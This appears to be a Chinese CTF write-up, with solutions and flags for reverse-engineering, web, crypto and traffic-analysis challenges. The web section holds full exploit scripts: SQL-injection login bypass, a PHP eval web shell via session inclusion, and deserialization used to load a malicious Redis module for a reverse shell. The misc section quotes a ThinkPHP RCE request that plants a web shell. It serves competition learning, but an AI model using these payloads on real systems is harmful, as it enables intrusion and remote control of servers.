两个🔤🔤中间跟的是常量,所以这中间的一堆emoji就是字符串,然后后面访问了list[2]这个元素,可以下载emojicode然后编译跑一遍,但是没有输出,因为多了一个💭
https://www.emojicode.org/docs/reference/basics.html
其实就是个注释,去掉即可
本质就是访问列表中的2号元素,拿出来是这个东西👝👣👘👞👲👰🐧👬👖👘👩🐪👖👜👤🐧👡🐨👖👤👘👪👫🐪👩👴
emoji decode解一下获得flag 网址:http://www.atoolbox.net/Tool.php?Id=937
当然也可以去掉注释,然后编译一下,然后再去emoji解码
flag{y0u_ar3_em0j1_mast3r}
reverse dragon flag{l3m0n_l0v3_bas364}
最基本的base64代码,不过换了个表,解码就好
import base64import stringtable = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/" old_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" flag1 = "zMXHz3TSm20WBL9SmhyZx2jHCZm2nh0=" flag = base64.b64decode(flag1.translate(str .maketrans(table,old_table))) print(flag)
equation 2020羊城杯原题,只不过去掉了pyc反编译的过程,原题链接:https://la13x.github.io/2021/04/16/buuctf-reverse1/#1-%E7%BE%8A%E5%9F%8E%E6%9D%AF-2020-login
flag{58964088b637e50d3a22b9510c1d1ef8}
flattening 出题人视角 WDNMD 真难编译,出这个题让👴🏻知道了编译不是靠人品
gcc和g++要切到8.x版本才行,然后要改个啥文件来着char改为uint_8好像是,不管了,反正👴🏻编好了,总之就是很水的一个题,知道混淆技术了那就是白给题,反正👴🏻是👣本小子,👴🏻只会用工具去混淆,👴🏻还有很多东西要学
解题人视角 ida走一波
WDNMD,意识到并不简单,看看CFG
血压上来了,但是问题不大,控制流平坦化,参见这个:https://la13x.github.io/2021/04/18/hardCpp/
用deflat一把梭,先找找入口地址
舒服了
什么白给签到题😅
直接在data段找到key每个值异或0x37就出了
#include <stdio.h> int main () { int key[] = { 116 , 7 , 89 , 67 , 69 , 7 , 123 , 104 , 81 , 6 , 7 , 64 , 104 , 81 , 6 , 86 , 67 , 67 , 4 , 89 , 94 , 89 , 80 , 104 , 6 , 68 , 104 , 69 , 4 , 86 , 6 , 6 , 78 , 104 , 6 , 89 , 67 , 4 , 69 , 4 , 68 , 67 , 6 , 89 , 80 , 55 }; for (int i = 0 ; i < sizeof (key)/4 ; i++) { printf ("%c" , key[i]^0x37 ); } printf ("\n" ); return 0 ; }
flag{C0ntr0L_f10w_f1att3ning_1s_r3a11y_1nt3r3st1ng}
wp by Sparta_EN 签到 根据描述 直接在 CTFd 页面查看源码
Web Simple PHP www.zip
获取源码 debug_only/infoinfoinfome.php
查看PHPInfo
直接看源码 SQL 没做过滤,使用了 password_hash()
对密码取 hash
构造 Payload username=' UNION SELECT 1337, 'testuser', '$2y$10$CkDlt51VAEIFDp5A8YVft.rzVRjuHhe9YzYI1Cug0nwJzmamvx1EK', '' -- &password=passw0rd
这里的 hash 即 passw0rd
的 hash 根据登陆页面的 hint, id 取 1337 可以通过登入后的 check
登入后发现我们可以更新用户数据,参考源码 我们发现这个应用会把用户数据序列化后写入 SESSION
而且 index.php
做了一系列的检查,但是没有过滤 session 文件,因此我们可以更新用户任意字段(密码除外)为一句话木马
结合 phpinfo(); 的结果,我们可以找到会话路径为 /var/lib/php/sessions
即可进行会话包含。发现 flag 为 /flag-<随机字符>
,cat
下读出即可。
附 EXP
import requestssess = requests.session() target = "http://152.136.99.28:30166/" session_path = "/var/lib/php/sessions/" payload = { "username" : "' UNION SELECT 1337, 'testuser', '$2y$10$CkDlt51VAEIFDp5A8YVft.rzVRjuHhe9YzYI1Cug0nwJzmamvx1EK', '' -- " , "password" : "passw0rd" } print("[+] Trying to auth with sql injection" ) r = sess.post(f"{target} /login.php" , data=payload, allow_redirects=False ) session_id = r.cookies.get("PHPSESSID" ) print(f'[*] Session ID: {session_id} ' ) if r.status_code != 302 : print("[!] Auth failure!" ) print('[+] Updating user info with malicious data' ) payload = { "username" : "user" , "password" : "passw0rd" , "description" : "<?php eval($_REQUEST[\"cmd\"]); ?>" } r = sess.post(f"{target} /index.php?page=me.php" , data=payload) print("[+] Refreshing session..." ) sess.get(f"{target} /index.php?page=me.php" ) params = { "cmd" : "echo system('cat /flag*');" , "page" : f"../../../../../../{session_path} /sess_{session_id} " } r = sess.get(f"{target} /index.php" , params=params) print("[+] Getting flag" ) print(r.text)
Expresssssss 下载附件 虽然看样子是使用了非对称密钥体制实现 JWT,但很明显,算法选错了
非对称体制应当使用 RS256
而非HS256
,是一个很严重的错误配置,我们继续往后看
serverConfig 在上文是空的,而这里需要serverConfig.isOpen 为 true
,再加上上面的源码有对用户输入进行merge
操作。
看一下我们的 cookie 发现 PK 以及发过来了。
我们可以使用这个 PK 通过 HS256
自己签发 JWT 进入 /admin
这样我们不妨构造原型污染
替换掉cookie
Happy PHP
这里需要构造反序列化
但这里对对应的字段进行了验证,我们无法通过改数量绕过__wakeup()
,可以改变对象的大小写来绕过检测。
x=O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:24:"eval($_REQUEST["code"]);";&code=echo%20123;
可以看到回显
open_base_dir
和disable_functions
都给限制死了
看一下当前目录吧
有个.config.swp.php
把文件拖下来,vim 恢复下 得到 mysql 与 redis 凭据,试了下 redis 貌似好使。但貌似没法写文件。
我们不妨看看这个 redis 是否能够载入恶意 module。这里使用了 https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
将其写入 /tmp
目录,然后登录到 redis 载入 反弹 shell 到服务器
编写 EXP
import requestsimport base64target = "http://152.136.99.28:30108" redis_rce_mod = b'' l_host = "1.1.1.1" l_port = "1234" def rce (code, additional="" ): payload = { "x" : 'O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:24:"eval($_REQUEST["code"]);";}}' , "code" : code, "additional" : additional } r = requests.post(target, data=payload) if (r.status_code != 200 ): raise Exception(r.text) return r.text[132 :] with open ('module.so' , 'rb' ) as f: redis_rce_mod = f.read() if rce("echo 'Sparta_EN';" ) == "Sparta_EN" : print("[*] RCE confirmed!" ) print("[+] Uploading malicious redis module..." ) rce("file_put_contents('/tmp/module.so', base64_decode($_REQUEST['additional']));" , base64.b64encode( redis_rce_mod).decode('utf-8' )) rce("chmod('/tmp/module.so', 0777);" ) print("[+] Trying to trick redis load module and get a reverse shell..." ) revershell_payload = f"""set_time_limit(0); $socket = socket_create(AF_INET, SOCK_STREAM, 0); socket_connect($socket, "127.0.0.1", 6379); $payload1 = "*1\r\n$7\r\nCOMMAND\r\n"; $payload2 = "*2\r\n$4\r\nauth\r\n$26\r\nhehe_redis_goes_brrrrrrrrr\r\n"; $payload3 = "*3\r\n$6\r\nmodule\r\n$4\r\nload\r\n$14\r\n/tmp/module.so\r\n"; $payload4 = "*3\r\n$10\r\nsystem.rev\r\n${len (l_host)} \r\n{l_host} \r\n${len (l_port)} \r\n{l_port} \r\n"; socket_write($socket, $payload1, strlen($payload1)); $out = socket_read($socket, 2048); echo $out; socket_write($socket, $payload2, strlen($payload2)); $out = socket_read($socket, 2048); echo $out; socket_write($socket, $payload3, strlen($payload3)); $out = socket_read($socket, 2048); echo $out; socket_write($socket, $payload4, strlen($payload4)); """ print(rce(revershell_payload)) print("[+] Check your nc!" )
cat /flag
发现没权限,而之前有个记录 payload 的函数有提示我们使用 readlog 查看记录。
看下 binary
是个 setuid
不妨执行下 发现可以目录穿越,读出 flag
Crypto EZ Crypto 仿射密码
直接上脚本
def egcd (a, b ): x, y, u, v = 0 , 1 , 1 , 0 while a != 0 : q, r = b//a, b % a m, n = x-u*q, y-v*q b, a, x, y, u, v = a, r, u, v, m, n gcd = b return gcd, x, y def modinv (a, m ): gcd, x, y = egcd(a, m) if gcd != 1 : return None else : return x % m def encrypt (text, key ): ''' C = (a*P + b) % 26 ''' return '' .join([chr (((key[0 ]*(ord (t) - ord ('A' )) + key[1 ]) % 26 ) + ord ('A' )) for t in text.upper().replace(' ' , '' )]) def decrypt (cipher, key ): ''' P = (a^-1 * (C - b)) % 26 ''' return '' .join([chr (((modinv(key[0 ], 26 )*(ord (c) - ord ('A' ) - key[1 ])) % 26 ) + ord ('A' )) for c in cipher]) key = [17 , 20 ] c = "EKZZJKZZYUBBAHK" print(f"flag{{{decrypt(c, key)} }}" )
flag{WELLHELLOAFFINE}
Baby RSA CtfRsaTool 一把梭 comfact_cn
可出
由于 m 中包含了 p 那么我们可以通过 求 c 与 n 的最大公约数求出 q
后面按照标准流程解密就好了
from Crypto.Util.number import *n = 13099786225848114426288735042622063709429417979653559902255130110659975926568234663676756524835204106945448519122951053919052978834452790083656081239724399724465813907281626036733220108031627090004400217055377991780064228481074731242267303495888888602962900043528353166689119375820829095012486469286192640858709120034967539197423507664888963829638473265043059180698438334763097949285344221617697610851153154943002108316864408271636493080517356530114745146546897588878707507824683476104289624176537904920121831095000551916845112223416432133409395056783383953717096046196532887274225485656111146665584317804803318338909 c = 8559655499265896361118223899353477299042241757209602984255991793623671902400849937041183417595204298397177450326134011299326668532961582184674623363025538600270072707047163533208789053017456849333485228029982885219677656015050632558654985633574879301710404077674861745881754178023445783080693280818480184811356779954303543761230708350552871210348291625654157493398915163250634555513484314769991628473845225469274037082850635228850870120629706273968570480643866051827420679768935556198892958086984241175115383476535497399981543828236629739929537486115788597861436866044189520462578886229791185703549894677979975800817 p = GCD(n, c) q = n // p e = 0x10001 phi = (p-1 ) * (q-1 ) d = inverse(e, phi) M = pow (c, d, n) m = M // 114514 // p print(long_to_bytes(m))
flag{f299e536-71df-2a9c-4189-1541f4724e2b}
我大E了 这里看到的 e 非常大,可以使用 wiener
求d https://github.com/orisano/owiener,有了d , n e2我们就能求出 p, q 再往后就能可以根据 RSA 的标准流程处理解密了
from Crypto.Util.number import inverse, long_to_bytes, GCDimport wienerimport fractionsimport randome1 = 0x10001 e2 = 30749686305802061816334591167284030734478031427751495527922388099381921172620569310945418007467306454160014597828390709770861577479329793948103408489494025272834473555854835044153374978554414416305012267643957838998648651100705446875979573675767605387333733876537528353237076626094553367977134079292593746416875606876735717905892280664538346000950343671655257046364067221469807138232820446015769882472160551840052921930357988334306659120253114790638496480092361951536576427295789429197483597859657977832368912534761100269065509351345050758943674651053419982561094432258103614830448382949765459939698951824447818497599 n = 109966163992903243770643456296093759130737510333736483352345488643432614201030629970207047930115652268531222079508230987041869779760776072105738457123387124961036111210544028669181361694095594938869077306417325203381820822917059651429857093388618818437282624857927551285811542685269229705594166370426152128895901914709902037365652575730201897361139518816164746228733410283595236405985958414491372301878718635708605256444921222945267625853091126691358833453283744166617463257821375566155675868452032401961727814314481343467702299949407935602389342183536222842556906657001984320973035314726867840698884052182976760066141 c1 = 71583783682021619717999479268651786751161610363987881699058479972417097127681864247477848165312443269552261650281395262160728715862254920244393628296570316218768130014057719355479608374320909554953446063226545440801131248900137089609895608341522946793200814556574254250659621793341199431483521650853287065268462347854129303033847182723629092195909957117089056444411650802573134427914604925772044236086815457154819679424034812539639758661460317397185002960311032637913793371456665287379240275667317336526891584182621458450580573412613408361770289740079739848770272206592041842234862740865747628519852066267368160881640 c2 = 55494113780323304422454443648470010911900254740052633133363579960778021288760719271727939446265317907324037593785145992975447677054351886369334354944686849950347151902030735393458784973074467509096895699845403768218581207266475016330668907743203265620833738555574220981953741412558878717721926421279776436821288860990364711094386574370156520178658536435862325596193413858200565399019959529641748661306266278353593276972984410712399939855516008418931398046437081154108451462740956025357863828658378552113064369320441912407668462443383302645820142910970079821181611519951712237177739140891042508920500678667417508093499 d2 = wiener.attack(e2, n) def factor_modulus (n, d, e ): """ Efficiently recover non-trivial factors of n See: Handbook of Applied Cryptography 8.2.2 Security of RSA -> (i) Relation to factoring (p.287) http://www.cacr.math.uwaterloo.ca/hac/ """ t = (e * d - 1 ) s = 0 while True : quotient, remainder = divmod (t, 2 ) if remainder != 0 : break s += 1 t = quotient found = False while not found: i = 1 a = random.randint(1 , n-1 ) while i <= s and not found: c1 = pow (a, pow (2 , i-1 , n) * t, n) c2 = pow (a, pow (2 , i, n) * t, n) found = c1 != 1 and c1 != (-1 % n) and c2 == 1 i += 1 p = GCD(c1-1 , n) q = n // p return p, q p, q = factor_modulus(n, d2, e2) phi = (p - 1 )*(q - 1 ) d1 = inverse(e1, phi) m = pow (c1, d1, n) print(long_to_bytes(m))
flag{14c78aaf-9221-1899-3a7f-0f287f3f6790}
Misc EZ Traffic 流量审计
先看下统计 HTTP 偏多, 那就看看 HTTP 服务
看下 HTTP
这几个 traffic 蛮可疑的
还有一个 flag.zip
我们不妨先把这个文件解出来 发现有密码 就继续往上看
config.php?cmd=xxxx
比较可疑 base64 解码后看不到内容 那就继续往上看
GET /?s=index%7Cthink%5Capp%2Finvokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B0%5D=config.php&vars%5B1%5D%5B1%5D=%3C%3Fphp+eval%28gzinflate%28base64_decode%28%24_REQUEST%5B%22cmd%22%5D%29%29%29%3B+%3F%3E HTTP/1.1 Host: 47.100.41.68 User-Agent: python-requests/2.25.1 Accept-Encoding: gzip, deflate Accept: / Connection: keep-alive
发现这里写了一个 config.php
的马 内容为 <?php eval(gzinflate(base64_decode($_REQUEST['cmd'])));
所以我们还需要一个 gzinflate
下面看 response 部分 发现 包 3214 有返回 zip 的结果 我们给他的 request 解密
echo system("zip --password K5bi8UgMNGC97QhPHgpRrrWtYZYkoe7C flag.zip /flag");
解压得 flag